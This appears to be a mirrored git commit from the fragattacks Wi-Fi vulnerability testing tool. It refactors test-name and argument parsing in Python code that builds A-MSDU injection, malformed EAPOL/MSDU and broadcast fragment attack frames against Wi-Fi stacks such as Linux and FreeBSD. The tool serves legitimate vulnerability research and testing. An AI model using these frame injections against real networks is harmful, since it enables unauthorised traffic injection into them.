mirror of
https://github.com/vanhoefm/fragattacks.git
synced 2024-11-25 00:38:24 -05:00
fragattacks: improve test names and argument parsing
This commit is contained in:
parent
e29d23e75c
commit
b53ee8371d
@ -21,6 +21,8 @@ def char2trigger(c):
|
||||
else: raise Exception("Unknown trigger character " + c)
|
||||
|
||||
def stract2action(stract):
|
||||
"""Parse a single trigger and action pair"""
|
||||
|
||||
if len(stract) == 1:
|
||||
trigger = Action.Connected
|
||||
c = stract[0]
|
||||
@ -30,9 +32,9 @@ def stract2action(stract):
|
||||
|
||||
if c == 'I':
|
||||
return Action(trigger, action=Action.GetIp)
|
||||
elif c == 'R':
|
||||
elif c == 'F':
|
||||
return Action(trigger, action=Action.Rekey)
|
||||
elif c == 'C':
|
||||
elif c == 'R':
|
||||
return Action(trigger, action=Action.Reconnect)
|
||||
elif c == 'P':
|
||||
return Action(trigger, enc=False)
|
||||
@ -44,15 +46,19 @@ def stract2action(stract):
|
||||
|
||||
raise Exception("Unrecognized action")
|
||||
|
||||
def str2actions(stractions, default):
|
||||
"""Parse a list of trigger and action pairs"""
|
||||
if stractions != None:
|
||||
return [stract2action(stract) for stract in stractions.split(",")]
|
||||
else:
|
||||
return default
|
||||
|
||||
def prepare_tests(opt):
|
||||
stractions = opt.actions
|
||||
if opt.testname == "ping":
|
||||
if stractions != None:
|
||||
actions = [stract2action(stract) for stract in stractions.split(",")]
|
||||
else:
|
||||
actions = [Action(Action.Connected, action=Action.GetIp),
|
||||
Action(Action.Connected, enc=True)]
|
||||
|
||||
actions = str2actions(stractions,
|
||||
[Action(Action.Connected, action=Action.GetIp),
|
||||
Action(Action.Connected, enc=True)])
|
||||
test = PingTest(REQ_ICMP, actions, opt=opt)
|
||||
|
||||
elif opt.testname == "ping-frag-sep":
|
||||
@ -87,45 +93,26 @@ def prepare_tests(opt):
|
||||
elif opt.testname == "forward":
|
||||
test = ForwardTest(eapol=False, dst=stractions)
|
||||
|
||||
elif opt.testname == "eapol-inject":
|
||||
large = False
|
||||
if stractions != None and stractions.startswith("L,"):
|
||||
large, stractions = True, stractions[2:]
|
||||
elif opt.testname in ["eapol-inject", "eapol-inject-large"]:
|
||||
large = opt.testname.endswith("-large")
|
||||
test = ForwardTest(eapol=True, dst=stractions, large=large)
|
||||
|
||||
elif opt.testname == "eapol-amsdu":
|
||||
freebsd = False
|
||||
if stractions != None:
|
||||
# TODO: Clean up this parsing / specification
|
||||
stractions = stractions
|
||||
if stractions.startswith("M,"):
|
||||
freebsd = True
|
||||
stractions = stractions[2:]
|
||||
prefix, specific = stractions[:-3], stractions[-2:]
|
||||
actions = []
|
||||
if len(prefix) > 0:
|
||||
actions = [stract2action(stract) for stract in prefix.split(",")]
|
||||
actions += [Action(char2trigger(t), enc=False) for t in specific]
|
||||
else:
|
||||
actions = [Action(Action.StartAuth, enc=False),
|
||||
Action(Action.StartAuth, enc=False)]
|
||||
|
||||
elif opt.testname in ["eapol-amsdu", "eapol-amsdu-bad"]:
|
||||
freebsd = opt.testname.endswith("-bad")
|
||||
actions = str2actions(stractions,
|
||||
[Action(Action.StartAuth, enc=False),
|
||||
Action(Action.StartAuth, enc=False)])
|
||||
test = EapolAmsduTest(REQ_ICMP, actions, freebsd, opt)
|
||||
|
||||
elif opt.testname == "linux-plain":
|
||||
decoy_tid = None if stractions == None else int(stractions)
|
||||
test = LinuxTest(REQ_ICMP, decoy_tid)
|
||||
|
||||
# TODO: - Rename test
|
||||
# TODO: - Allow "I,CC" to first get an IP address and test black-box
|
||||
elif opt.testname == "macos":
|
||||
if stractions != None:
|
||||
actions = [Action(char2trigger(t), enc=False) for t in stractions]
|
||||
else:
|
||||
actions = [Action(Action.StartAuth, enc=False),
|
||||
Action(Action.StartAuth, enc=False)]
|
||||
|
||||
test = MacOsTest(REQ_ICMP, actions, opt.bcast_dst)
|
||||
elif opt.testname == "eapfrag":
|
||||
actions = str2actions(stractions,
|
||||
[Action(Action.StartAuth, enc=False),
|
||||
Action(Action.StartAuth, enc=False)])
|
||||
test = BcastEapFragTest(REQ_ICMP, actions, opt.bcast_dst)
|
||||
|
||||
elif opt.testname == "qca-test":
|
||||
test = QcaDriverTest()
|
||||
@ -136,8 +123,9 @@ def prepare_tests(opt):
|
||||
elif opt.testname == "qca-rekey":
|
||||
test = QcaDriverRekey()
|
||||
|
||||
elif opt.testname == "amsdu-inject":
|
||||
test = AmsduInject(REQ_ICMP, stractions)
|
||||
elif opt.testname in ["amsdu-inject", "amsdu-inject-bad"]:
|
||||
malformed = opt.testname.endswith("-bad")
|
||||
test = AmsduInject(REQ_ICMP, malformed)
|
||||
|
||||
# No valid test ID/name was given
|
||||
else: return None
|
||||
|
@ -11,16 +11,13 @@ class AmsduInject(Test):
|
||||
the A-MSDU attack by injecting an IP packet with a specific identification field.
|
||||
"""
|
||||
|
||||
def __init__(self, ptype, target=False):
|
||||
def __init__(self, ptype, malformed=False):
|
||||
super().__init__([
|
||||
Action(Action.Connected, Action.GetIp, enc=True),
|
||||
Action(Action.Connected, Action.Inject, enc=True)]
|
||||
)
|
||||
self.ptype = ptype
|
||||
self.target = target
|
||||
if not self.target in [None, "linux"]:
|
||||
log(ERROR, f"Unknown target {self.target} in A-MSDU injection test!")
|
||||
quit(1)
|
||||
self.malformed = malformed
|
||||
|
||||
def prepare(self, station):
|
||||
log(STATUS, "Generating A-MSDU attack test frame", color="green")
|
||||
@ -37,12 +34,13 @@ class AmsduInject(Test):
|
||||
src = station.bss
|
||||
|
||||
# Put the request inside an IP packet
|
||||
if self.target == None:
|
||||
if not self.malformed:
|
||||
p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="1.2.3.4", id=34)/TCP()
|
||||
|
||||
# This works against linux 4.9 and above and against FreeBSD
|
||||
elif self.target == "linux":
|
||||
else:
|
||||
p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="3.5.1.1")/TCP()/Raw(b"A" * 748)
|
||||
|
||||
p = p/create_msdu_subframe(src, dst, request, last=True)
|
||||
p[Dot11QoS].Reserved = 1
|
||||
|
||||
|
@ -191,11 +191,22 @@ class EapolTest(Test):
|
||||
|
||||
|
||||
class EapolAmsduTest(Test):
|
||||
"""
|
||||
TODO: Combine this class with PingTest so we have more advanced argument handling
|
||||
"""
|
||||
|
||||
def __init__(self, ptype, actions, freebsd=False, opt=None):
|
||||
super().__init__(actions)
|
||||
self.ptype = ptype
|
||||
self.freebsd = freebsd
|
||||
self.bcast_dst = False if opt == None else opt.bcast_dst
|
||||
#TODO: More automatically control ptype and its arguments
|
||||
self.dport = None if opt == None else opt.udp
|
||||
|
||||
actions = self.get_actions(Action.Inject)
|
||||
if len(actions) != 1:
|
||||
log(ERROR, f"eapol-amsdu: invalid arguments, should only give 1 inject action (gave {len(actions)}).")
|
||||
quit(1)
|
||||
|
||||
def prepare(self, station):
|
||||
log(STATUS, "Generating ping test", color="green")
|
||||
@ -204,8 +215,6 @@ class EapolAmsduTest(Test):
|
||||
header, request, check_fn = generate_request(station, self.ptype)
|
||||
# Set the A-MSDU frame type flag in the QoS header
|
||||
header.Reserved = 1
|
||||
# Testing
|
||||
#header.addr2 = "00:11:22:33:44:55"
|
||||
|
||||
# We can automatically detect result if the last fragment was
|
||||
# sent after the authentication
|
||||
@ -219,7 +228,7 @@ class EapolAmsduTest(Test):
|
||||
|
||||
# Masquerade A-MSDU frame as an EAPOL frame
|
||||
if self.freebsd:
|
||||
log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD treats as valid")
|
||||
log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD/Linux/.. treats as valid")
|
||||
request = freebsd_create_eapolmsdu(mac_src, mac_dst, request)
|
||||
else:
|
||||
request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / create_msdu_subframe(mac_src, mac_dst, request)
|
||||
@ -234,12 +243,7 @@ class EapolAmsduTest(Test):
|
||||
else:
|
||||
toinject.addr1 = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
# XXX Where was this needed again?
|
||||
auth = Dot11()/Dot11Auth(status=0, seqnum=1)
|
||||
station.set_header(auth)
|
||||
auth.addr2 = "00:11:22:33:44:55"
|
||||
|
||||
self.actions[0].frame = auth
|
||||
self.actions[1].frame = toinject
|
||||
|
||||
# Note: previously I also sent an Auth to 00:..:55 but that doesn't seem to be needed.
|
||||
actions = self.get_actions(Action.Inject)
|
||||
actions[0].frame = toinject
|
||||
|
||||
|
@ -5,7 +5,7 @@
|
||||
|
||||
from fraginternals import *
|
||||
|
||||
class MacOsTest(Test):
|
||||
class BcastEapFragTest(Test):
|
||||
"""
|
||||
This was an early version of the plaintext broadcast fragment attack.
|
||||
See docs/macoxs-reversing.md for background on this attack. It turns
|
||||
@ -17,6 +17,14 @@ class MacOsTest(Test):
|
||||
self.ptype = ptype
|
||||
self.bcast_dst = bcast_dst
|
||||
|
||||
actions = self.get_actions(Action.Inject)
|
||||
if len(actions) != 2:
|
||||
log(ERROR, f"eapfrag: invalid arguments, should give 2 inject action (gave {len(actions)}).")
|
||||
quit(1)
|
||||
elif actions[0].enc:
|
||||
log(ERROR, f"eapfrag: first inject action should not be encrypted.")
|
||||
quit(1)
|
||||
|
||||
def prepare(self, station):
|
||||
# First fragment is the start of an EAPOL frame
|
||||
header = station.get_header(prior=2)
|
||||
@ -43,5 +51,6 @@ class MacOsTest(Test):
|
||||
if self.bcast_dst and frag2.FCfield & Dot11(FCfield="to-DS").FCfield != 0:
|
||||
frag2.addr3 = "ff:ff:ff:ff:ff:ff"
|
||||
|
||||
self.actions[0].frame = frag1
|
||||
self.actions[1].frame = frag2
|
||||
actions = self.get_actions(Action.Inject)
|
||||
actions[0].frame = frag1
|
||||
actions[1].frame = frag2
|
||||
|
Loading…
Reference in New Issue
Block a user